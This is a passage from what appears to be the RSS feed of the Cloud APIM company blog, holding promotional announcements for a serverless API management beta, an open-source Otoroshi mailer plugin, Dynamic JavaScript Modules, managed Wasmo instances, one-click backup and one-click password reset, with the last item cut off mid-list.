&lt;strong&gt;API management&lt;/strong&gt; is crucial for businesses of all sizes.&lt;/p&gt;
&lt;p&gt;That’s why we’re excited to introduce &lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt;, our cutting-edge solution designed to streamline the deployment and management of your APIs.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt; removes the complexities of traditional infrastructure, allowing you to focus on innovation and growth.&lt;/p&gt;
&lt;p&gt;With features like fast shipping, robust security, and API analytics, our platform empowers developers, startups, small businesses, and large enterprises to efficiently manage their APIs and drive business success.&lt;/p&gt;
&lt;h2 id=&quot;-why-using-cloud-apim-serverless-&quot;&gt;&lt;strong&gt;🤔 Why using Cloud APIM Serverless ?&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Traditional API management solutions often come with the overhead of managing servers, provisioning resources, and dealing with scalability challenges.&lt;/p&gt;
&lt;p&gt;With our &lt;strong&gt;Serverless product&lt;/strong&gt;, say goodbye to infrastructure headaches and hello to a seamless, serverless experience.&lt;/p&gt;
&lt;p&gt;Our product leverages the power of serverless architecture, eliminating the need for manual server management (even from our own &lt;a href=&quot;https://console.cloud-apim.com/deployments&quot;&gt;managed otoroshi instances&lt;/a&gt; service 😉) and allowing you to focus on innovation rather than infrastructure maintenance.&lt;/p&gt;
&lt;h3 id=&quot;-main-features-and-benefits&quot;&gt;&lt;strong&gt;🌟 Main Features and Benefits&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;🚀 Fast Deployment :&lt;/strong&gt;  Launch APIs in minutes, not days. Our intuitive interface makes it easy to deploy and manage APIs with just a few clicks.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;🔧 GitOps Driven :&lt;/strong&gt; At the core of Serverless APIM is a GitOps-driven approach to API management. By adopting GitOps principles, we empower teams to manage their API configurations, deployments, and infrastructure as code through version control systems like Git.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;🌐 Use Project Environments :&lt;/strong&gt; Serverless projects environments are seamlessly integrated with version control through Git, allowing each environment to be linked to a specific Git branch.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;🔒 Built-in Security :&lt;/strong&gt; Protect your APIs with built-in authentication and authorization features. From API keys to OAuth, we’ve got you covered.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;📊 API Analytics :&lt;/strong&gt; Gain valuable insights into API usage, performance metrics, and user behavior with our real-time analytics dashboard. Make informed decisions and optimize your APIs for maximum impact.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;📚 Developer-Friendly Documentation :&lt;/strong&gt;  Empower developers with comprehensive documentation, code samples, and interactive tools. Foster collaboration and accelerate innovation within your organization.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;📜 OpenAPI Integration :&lt;/strong&gt; You can easily manage references, schemas, and OpenAPI components, ensuring consistency and streamlining collaboration across your API projects.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;💰 API Monetisation :&lt;/strong&gt;  With Serverless APIM, monetizing your APIs is effortless. Our platform offers built-in tools to set up plans and define quotas.&lt;/p&gt;
&lt;h3 id=&quot;-who-can-benefit&quot;&gt;&lt;strong&gt;🌍 Who Can Benefit?&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Whether you’re a startup looking to launch your first API or a large enterprise managing a complex API ecosystem, &lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt; is tailored to meet your needs.&lt;/p&gt;
&lt;p&gt;Our flexible and scalable solution adapts to your business requirements, enabling you to focus on what matters most: delivering &lt;strong&gt;value&lt;/strong&gt; to your customers.&lt;/p&gt;
&lt;h2 id=&quot;-get-started-now-&quot;&gt;&lt;strong&gt;🚀 Get Started Now&lt;/strong&gt; !&lt;/h2&gt;
&lt;p&gt;Ready to experience the future of API management?&lt;/p&gt;
&lt;p&gt;We are launching the private beta of Cloud APIM Serverless today. Anyone can join, just 🚀 Sign up &lt;strong&gt;now&lt;/strong&gt; and register for the beta by clicking &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;on this link&lt;/a&gt; and see the difference for yourself.&lt;/p&gt;
&lt;p&gt;You can also watch a quick intro video to learn how to create your first api endpoint&lt;/p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/FoaNJD5bYno?si=zfdPMZrebAWP9Ij9&quot;&gt;&lt;/iframe&gt;
&lt;h3 id=&quot;-stay-connected&quot;&gt;&lt;strong&gt;📡 Stay Connected&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Follow our blog for the latest updates, tips, and best practices for Cloud APIM Serverless and API management.&lt;/p&gt;
&lt;h3 id=&quot;-about-cloud-apim&quot;&gt;&lt;strong&gt;🏢 About Cloud APIM&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/&quot;&gt;Cloud APIM&lt;/a&gt; provides &lt;a href=&quot;https://console.cloud-apim.com/deployments&quot;&gt;cutting-edge, managed solutions for API management&lt;/a&gt;, enabling businesses to leverage the full power of their APIs with ease and efficiency. Our commitment to innovation and excellence drives us to offer &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;the most advanced tools&lt;/a&gt; and &lt;a href=&quot;https://console.cloud-apim.com/wasmo_deployments&quot;&gt;services&lt;/a&gt; to our customers, empowering them to achieve their digital transformation goals.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 256px) 256px, 100vw&quot; width=&quot;256&quot; height=&quot;256&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp 256w&quot;&gt;&lt;/p&gt;</content:encoded><dc:creator>Mathieu Ancelin</dc:creator><dc:creator>Thomas Delafaye</dc:creator><dc:language>en</dc:language><category>APIM</category><category>API management</category><category>Git</category><category>GitHub</category><category>Serverless</category><category>API gateway</category><category>APIs</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.D1cv1Xdv_6g49q.jpg" length="0" type="image/jpeg"/></item><item><title>Introducing the Open-Sourced Mailer Plugin for Otoroshi: Email Simplified</title><link>https://blog.cloud-apim.com/introducing-the-open-sourced-mailer-plugin-for-otoroshi-email-simplified</link><guid isPermaLink="true">https://blog.cloud-apim.com/introducing-the-open-sourced-mailer-plugin-for-otoroshi-email-simplified</guid><description>Email integration is a critical component for many digital services, from transactional notifications to marketing campaigns. Cloud APIM is excited to announce the open-sourcing of a valuable addition to our suite of tools: the Mailer Plugin for…</description><pubDate>Fri, 12 Apr 2024 13:24:57 GMT</pubDate><content:encoded>&lt;p&gt;Email integration is a critical component for many digital services, from transactional notifications to marketing campaigns. Cloud APIM is excited to announce the open-sourcing of a valuable addition to our suite of tools: &lt;a href=&quot;https://github.com/cloud-apim/otoroshi-plugin-mailer&quot;&gt;the Mailer Plugin for Otoroshi.&lt;/a&gt; This plugin simplifies email functionalities by embedding them directly into your Otoroshi environment.&lt;/p&gt;
&lt;h3 id=&quot;streamlined-email-capabilities&quot;&gt;&lt;strong&gt;Streamlined Email Capabilities&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;The Mailer Plugin transforms how you send emails through Otoroshi. By exposing an asynchronous REST API on any Otoroshi route, this plugin allows you to send emails seamlessly. Whether you need to dispatch straightforward text emails, rich HTML content, or messages with attachments, the Mailer Plugin handles it all effortlessly.&lt;/p&gt;
&lt;h3 id=&quot;features-at-a-glance&quot;&gt;&lt;strong&gt;Features at a Glance&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Asynchronous Email API:&lt;/strong&gt; Integrate email functionalities without impacting the performance of your main application.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Flexible SMTP Integration:&lt;/strong&gt; Connect to any SMTP server of your choice, providing the freedom to use the email service that best fits your needs.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Rich Email Content:&lt;/strong&gt; Support for text, HTML emails, and attachments ensures you can send detailed and engaging emails to your users.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Activity Monitoring:&lt;/strong&gt; Otoroshi events integrated within the plugin allow you to track email activities, ensuring transparency and aiding in troubleshooting.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;open-source-and-ready-to-use&quot;&gt;&lt;strong&gt;Open Source and Ready to Use&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;In line with &lt;a href=&quot;https://www.cloud-apim.com/opensource&quot;&gt;our commitment to the open-source community&lt;/a&gt; and our users’ success, the Mailer Plugin is completely open source. This means you can modify, enhance, and adapt the plugin to meet your specific requirements.&lt;/p&gt;
&lt;h3 id=&quot;getting-started&quot;&gt;&lt;strong&gt;Getting Started&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;The Mailer Plugin is available now and can be easily integrated into your existing Otoroshi instance. Visit our &lt;a href=&quot;https://github.com/cloud-apim/otoroshi-plugin-mailer&quot;&gt;GitHub page&lt;/a&gt; to download the plugin, access detailed installation instructions, and start sending emails in a more integrated, efficient way. The Mailer Plugin is already available on your &lt;a href=&quot;https://www.cloud-apim.com/&quot;&gt;Cloud APIM managed Otoroshi instances.&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;about-cloud-apim&quot;&gt;About Cloud APIM&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/&quot;&gt;Cloud APIM&lt;/a&gt; provides &lt;a href=&quot;https://console.cloud-apim.com/deployments&quot;&gt;cutting-edge, managed solutions for API management&lt;/a&gt;, enabling businesses to leverage the full power of their APIs with ease and efficiency. Our commitment to innovation and excellence drives us to offer &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;the most advanced tools&lt;/a&gt; and &lt;a href=&quot;https://console.cloud-apim.com/wasmo_deployments&quot;&gt;services&lt;/a&gt; to our customers, empowering them to achieve their digital transformation goals.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 256px) 256px, 100vw&quot; width=&quot;256&quot; height=&quot;256&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp 256w&quot;&gt;&lt;/p&gt;</content:encoded><dc:creator>Mathieu Ancelin</dc:creator><dc:language>en</dc:language><category>APIM</category><category>Email</category><category>SMTP</category><category>APIs</category><category>Otoroshi</category><category>Open source</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.B5eoITH-_Z1pu1T1.jpg" length="0" type="image/jpeg"/></item><item><title>Open sourcing Dynamic Javascript Modules</title><link>https://blog.cloud-apim.com/open-sourcing-dynamic-javascript-modules</link><guid isPermaLink="true">https://blog.cloud-apim.com/open-sourcing-dynamic-javascript-modules</guid><description>At Cloud APIM, we&apos;re continually pushing the boundaries to simplify and enhance the API management experience for our users. Today, we&apos;re excited to announce the open-sourcing of a groundbreaking project that&apos;s set to revolutionize the way you…</description><pubDate>Fri, 22 Mar 2024 16:06:55 GMT</pubDate><content:encoded>&lt;p&gt;At Cloud APIM, we’re continually pushing the boundaries to simplify and enhance the API management experience for our users. Today, we’re excited to announce the open-sourcing of a groundbreaking project that’s set to revolutionize the way you create Otoroshi plugins: Dynamic JavaScript Modules.&lt;/p&gt;
&lt;h3 id=&quot;goodbye-compilation-hello-javascript&quot;&gt;&lt;strong&gt;Goodbye Compilation, Hello JavaScript!&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;The essence of innovation often lies in simplification. Recognizing the hurdles presented by the compilation process in WASM-based plugin development, we sought an alternative that maintains flexibility without the complexity. Dynamic JavaScript Modules is our solution, eliminating the need for compilation and allowing you to develop Otoroshi plugins directly in JavaScript.&lt;/p&gt;
&lt;h3 id=&quot;the-power-of-dynamic-javascript-modules&quot;&gt;&lt;strong&gt;The Power of Dynamic JavaScript Modules&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Dynamic JavaScript Modules empower you to write and deploy your plugins with unmatched ease. Whether your JavaScript code is local, served over HTTP/S, or written inline, our new open-source project seamlessly integrates with your workflow. This means you can iterate and deploy your plugins faster, focusing on functionality rather than fretting over the build process.&lt;/p&gt;
&lt;h3 id=&quot;key-features&quot;&gt;&lt;strong&gt;Key Features:&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;No Compilation Needed:&lt;/strong&gt; Jump straight into writing your plugins with JavaScript, bypassing the tedious compilation steps.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Flexible Code Hosting:&lt;/strong&gt; Whether your code resides on your server, is available online, or is directly embedded within your project, Dynamic JavaScript Modules adapt to your setup.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Open for All:&lt;/strong&gt; Compatible with any Otoroshi instance, this project extends its benefits to a wide array of users, not just those on Cloud APIM.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;available-now-on-cloud-apim&quot;&gt;&lt;strong&gt;Available Now on Cloud APIM&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;For Cloud APIM users, accessing Dynamic JavaScript Modules is as simple as ever. This innovation is already integrated with your Cloud APIM Otoroshi instances, ready to unlock new potentials in plugin development.&lt;/p&gt;
&lt;h3 id=&quot;join-the-future-of-plugin-development&quot;&gt;&lt;strong&gt;Join the Future of Plugin Development&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;As we open-source Dynamic JavaScript Modules, we invite developers, innovators, and dreamers to join us in exploring new horizons in API management. This project is not just a testament to &lt;a href=&quot;https://www.cloud-apim.com/opensource&quot;&gt;our commitment to open-source&lt;/a&gt;; it’s an invitation to collaborate, innovate, and create more dynamic, efficient, and user-friendly plugins than ever before.&lt;/p&gt;
&lt;h3 id=&quot;conclusion&quot;&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;The open-sourcing of Dynamic JavaScript Modules marks a significant milestone in our journey to streamline API management. By enabling JavaScript-based plugin development without the hassle of compilation, we’re opening doors to faster innovation and a more inclusive developer experience. Dive into Dynamic JavaScript Modules today and start building the future of API plugins with Cloud APIM.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;about-cloud-apim&quot;&gt;About Cloud APIM&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/&quot;&gt;Cloud APIM&lt;/a&gt; provides &lt;a href=&quot;https://console.cloud-apim.com/deployments&quot;&gt;cutting-edge, managed solutions for API management&lt;/a&gt;, enabling businesses to leverage the full power of their APIs with ease and efficiency. Our commitment to innovation and excellence drives us to offer &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;the most advanced tools&lt;/a&gt; and &lt;a href=&quot;https://console.cloud-apim.com/wasmo_deployments&quot;&gt;services&lt;/a&gt; to our customers, empowering them to achieve their digital transformation goals.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 256px) 256px, 100vw&quot; width=&quot;256&quot; height=&quot;256&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp 256w&quot;&gt;&lt;/p&gt;</content:encoded><dc:creator>Mathieu Ancelin</dc:creator><dc:language>en</dc:language><category>Otoroshi</category><category>Open source</category><category>WASM</category><category>API gateway</category><category>APIs</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.C1bYXR-f_d8c7q.jpg" length="0" type="image/jpeg"/></item><item><title>Cloud APIM ❤️ WASMO</title><link>https://blog.cloud-apim.com/cloud-apim-loves-wasmo</link><guid isPermaLink="true">https://blog.cloud-apim.com/cloud-apim-loves-wasmo</guid><description>In the rapidly evolving digital landscape, the need for robust, scalable, and efficient API management solutions has never been more critical. Cloud APIM is thrilled to announce a groundbreaking addition to our service offerings: managed Wasmo…</description><pubDate>Fri, 08 Mar 2024 16:06:56 GMT</pubDate><content:encoded>&lt;p&gt;In the rapidly evolving digital landscape, the need for robust, scalable, and efficient API management solutions has never been more critical. &lt;a href=&quot;https://www.cloud-apim.com/&quot;&gt;Cloud APIM&lt;/a&gt; is thrilled to announce a groundbreaking addition to our service offerings: &lt;a href=&quot;https://console.cloud-apim.com/wasmo_deployments&quot;&gt;managed Wasmo instances&lt;/a&gt;. This new feature marks a significant milestone in simplifying the development and deployment of WebAssembly (WASM) plugins, catering to the sophisticated needs of modern applications.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 300px) 300px, 100vw&quot; width=&quot;300&quot; height=&quot;300&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-25df07.kIpRXUCa_52LKE.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-25df07.kIpRXUCa_52LKE.webp 300w&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;what-is-wasmo&quot;&gt;What is Wasmo?&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://maif.github.io/wasmo/&quot;&gt;Wasmo&lt;/a&gt; is an innovative &lt;a href=&quot;https://github.com/maif/wasmo&quot;&gt;open-source project&lt;/a&gt; designed to empower developers by simplifying the creation of WASM modules. It serves as an online code editor with capabilities to compile, build, and manage the lifecycle of WASM modules. But Wasmo is more than just a compilation tool; it acts as a binary repository, hosting multiple versions of built WASM modules. These modules can be seamlessly integrated into Otoroshi’s plugin system, offering unparalleled flexibility and power to your API management strategies.&lt;/p&gt;
&lt;h3 id=&quot;the-challenge-of-building-wasm-modules&quot;&gt;The Challenge of Building WASM Modules&lt;/h3&gt;
&lt;p&gt;Traditionally, constructing WASM modules has been a complex process, requiring specialized environments and intricate setup. The unique requirements for developing, compiling, and deploying these modules posed significant barriers to adoption, limiting their potential use in enhancing API management systems like Otoroshi.&lt;/p&gt;
&lt;h3 id=&quot;cloud-apims-managed-wasmo-instances-the-solution&quot;&gt;Cloud APIM’s managed Wasmo instances: The Solution&lt;/h3&gt;
&lt;p&gt;Recognizing these challenges, Cloud APIM now offers managed instances that streamline the entire development process. Now, developers can leverage the intuitive Wasmo platform directly through Cloud APIM, benefiting from features such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;An easy-to-use online code editor for writing and editing WASM module code.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;On-the-fly compilation and building of WASM modules, removing the need for complex local setups.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;A binary repository system for versioning and distributing WASM modules, ensuring easy integration and deployment.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;while never have to worry about updating or managing your instance.&lt;/p&gt;
&lt;h3 id=&quot;empowering-otoroshi-with-wasm&quot;&gt;Empowering Otoroshi with WASM&lt;/h3&gt;
&lt;p&gt;The integration of managed Wasmo instances into Cloud APIM’s ecosystem significantly enhances Otoroshi’s API management capabilities. Developers can now easily create and deploy custom plugins written as WASM modules, enabling advanced processing, filtering, and transformation of API requests and responses. This opens up new possibilities for customization, security enhancements, and performance optimizations within Otoroshi’s reverse proxy and API management platform. Getting started with managed Wasmo instances on Cloud APIM is pretty straightforward. Our platform guides you through the process of creating an instance. Then you can take a look at the latest &lt;a href=&quot;https://zwiterrion.hashnode.dev/how-to-make-building-wasm-blazingly-easy&quot;&gt;Etienne’s article&lt;/a&gt; to see how to use it properly.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 501px) 501px, 100vw&quot; width=&quot;501&quot; height=&quot;490&quot; src=&quot;https://blog.cloud-apim.com/_astro/02-6d3115.BUcYzJ8x_Z1KBEOr.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/02-6d3115.BUcYzJ8x_Z1KBEOr.webp 501w&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h3&gt;
&lt;p&gt;The launch of &lt;a href=&quot;https://console.cloud-apim.com/wasmo_deployments&quot;&gt;managed Wasmo instances by Cloud APIM&lt;/a&gt; represents a significant leap forward in simplifying the development and deployment of WASM modules for API management. By lowering the barriers to entry and offering a powerful, integrated solution, we’re excited to see how developers will leverage this technology to innovate and enhance their API strategies. Get started today and unlock the full potential of your APIs with Cloud APIM’s managed Wasmo instances.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;about-cloud-apim&quot;&gt;About Cloud APIM&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/&quot;&gt;Cloud APIM&lt;/a&gt; provides &lt;a href=&quot;https://console.cloud-apim.com/deployments&quot;&gt;cutting-edge, managed solutions for API management&lt;/a&gt;, enabling businesses to leverage the full power of their APIs with ease and efficiency. Our commitment to innovation and excellence drives us to offer &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;the most advanced tools&lt;/a&gt; and &lt;a href=&quot;https://console.cloud-apim.com/wasmo_deployments&quot;&gt;services&lt;/a&gt; to our customers, empowering them to achieve their digital transformation goals.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 256px) 256px, 100vw&quot; width=&quot;256&quot; height=&quot;256&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp 256w&quot;&gt;&lt;/p&gt;</content:encoded><dc:creator>Mathieu Ancelin</dc:creator><dc:language>en</dc:language><category>APIs</category><category>APIM</category><category>WASM</category><category>Otoroshi</category><category>API management</category><category>Plugins</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.DJQ6ApMJ_ZdoNYx.jpg" length="0" type="image/jpeg"/></item><item><title>Simplifying Data Ownership with One-Click Otoroshi Cluster Backup on Cloud APIM</title><link>https://blog.cloud-apim.com/simplifying-data-ownership-with-one-click-otoroshi-cluster-backup-on-cloud-apim</link><guid isPermaLink="true">https://blog.cloud-apim.com/simplifying-data-ownership-with-one-click-otoroshi-cluster-backup-on-cloud-apim</guid><description>In our ongoing efforts to enhance user experience and data autonomy, Cloud APIM is proud to unveil a significant addition to our suite of features: the One-Click Otoroshi Cluster Backup. This new feature streamlines the backup and export process of…</description><pubDate>Mon, 20 Nov 2023 23:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In our ongoing efforts to enhance user experience and data autonomy, Cloud APIM is proud to unveil a significant addition to our suite of features: the One-Click Otoroshi Cluster Backup. This new feature streamlines the backup and export process of your Otoroshi state, making it more accessible and efficient than ever.&lt;/p&gt;
&lt;h3 id=&quot;the-essence-of-one-click-backup&quot;&gt;&lt;strong&gt;The Essence of One-Click Backup&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Traditionally, backing up your Otoroshi cluster required manual login and navigation through the instance to initiate the backup process. With the introduction of our one-click backup feature, we’ve eliminated the need for these steps. Now, with just a single click from the Cloud APIM dashboard, users can securely backup their entire Otoroshi state.&lt;/p&gt;
&lt;h3 id=&quot;key-benefits&quot;&gt;&lt;strong&gt;Key Benefits&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Simplicity:&lt;/strong&gt; Eliminate the login and manual backup process, making data protection effortless.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Accessibility:&lt;/strong&gt; Your backup will be stored in cold storage, available for the next seven days, ensuring you have ample time to download or migrate your data.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Data Sovereignty:&lt;/strong&gt; This feature underscores our commitment to data ownership and avoidance of vendor lock-in. You have full control over your data, with the ability to access and export it anytime.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;why-this-matters&quot;&gt;&lt;strong&gt;Why This Matters&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Data ownership and the flexibility to migrate services without hindrance are critical for businesses striving for operational independence and security. Our one-click Otoroshi cluster backup empowers you with both, wrapped in a user-friendly package.&lt;/p&gt;
&lt;h3 id=&quot;getting-started&quot;&gt;&lt;strong&gt;Getting Started&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Activating the one-click backup is straightforward. Head over to your Cloud APIM dashboard, find your Otoroshi instance, and select the backup option. It’s that simple—your data backup will be ready and waiting in cold storage for the next week.&lt;/p&gt;
&lt;h3 id=&quot;conclusion&quot;&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Cloud APIM’s new One-Click Otoroshi Cluster Backup feature represents our dedication to providing practical, powerful tools that enhance data control and simplify management tasks. Take advantage of this feature today to secure your data and ensure you’re always prepared, no matter what comes your way.&lt;/p&gt;
&lt;h3 id=&quot;about-cloud-apim&quot;&gt;About Cloud APIM&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/&quot;&gt;Cloud APIM&lt;/a&gt; provides &lt;a href=&quot;https://console.cloud-apim.com/deployments&quot;&gt;cutting-edge, managed solutions for API management&lt;/a&gt;, enabling businesses to leverage the full power of their APIs with ease and efficiency. Our commitment to innovation and excellence drives us to offer &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;the most advanced tools&lt;/a&gt; and &lt;a href=&quot;https://console.cloud-apim.com/wasmo_deployments&quot;&gt;services&lt;/a&gt; to our customers, empowering them to achieve their digital transformation goals.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 256px) 256px, 100vw&quot; width=&quot;256&quot; height=&quot;256&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp 256w&quot;&gt;&lt;/p&gt;</content:encoded><dc:creator>Mathieu Ancelin</dc:creator><dc:language>en</dc:language><category>APIs</category><category>APIM</category><category>API management</category><category>Backup</category><category>Otoroshi</category><category>Data governance</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.D04r-0ND_ER3GI.jpg" length="0" type="image/jpeg"/></item><item><title>Introducing One-Click Password Reset for your Cloud APIM Otoroshi clusters</title><link>https://blog.cloud-apim.com/introducing-one-click-password-reset-for-your-cloud-apim-otoroshi-clusters</link><guid isPermaLink="true">https://blog.cloud-apim.com/introducing-one-click-password-reset-for-your-cloud-apim-otoroshi-clusters</guid><description>At Cloud APIM, we continuously strive to enhance our platform&apos;s usability and security. Understanding the importance of easy access and control over your managed Otoroshi instances, we are excited to announce a new feature that significantly…</description><pubDate>Mon, 09 Oct 2023 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;At Cloud APIM, we continuously strive to enhance our platform’s usability and security. Understanding the importance of easy access and control over your managed Otoroshi instances, we are excited to announce a new feature that significantly simplifies password management: the One-Click Password Reset.&lt;/p&gt;
&lt;h3 id=&quot;simplify-your-access-with-one-click&quot;&gt;&lt;strong&gt;Simplify Your Access with One-Click&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;We recognize that managing passwords can sometimes be challenging, especially when they are lost or forgotten. Traditionally, recovering or resetting the password for your Otoroshi instance could require reaching out to support, a process that, while secure, might delay your work. Not anymore.&lt;/p&gt;
&lt;h3 id=&quot;the-one-click-password-reset-feature&quot;&gt;&lt;strong&gt;The One-Click Password Reset Feature&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;With our new One-Click Password Reset feature, you gain the power to reset your instance password instantly, directly from your Cloud APIM dashboard. This feature ensures that, even if you forget your password, access to your managed Otoroshi instance is just a click away—no need to log in to the actual instance or contact support.&lt;/p&gt;
&lt;h3 id=&quot;security-and-privacy-first&quot;&gt;&lt;strong&gt;Security and Privacy First&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Cloud APIM does not store your instance passwords after they are displayed during the instance creation phase. This approach prioritizes your security and privacy. With the introduction of the One-Click Password Reset, we maintain this standard while providing you with an effortless way to regain access to your instance.&lt;/p&gt;
&lt;h3 id=&quot;how-it-works&quot;&gt;&lt;strong&gt;How It Works&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Navigate to your Cloud APIM dashboard.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Select the Otoroshi instance you wish to reset the password for.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Click the “Reset Password” button.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Your new password will be generated and displayed securely. Ensure to note it down or store it in a password manager.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
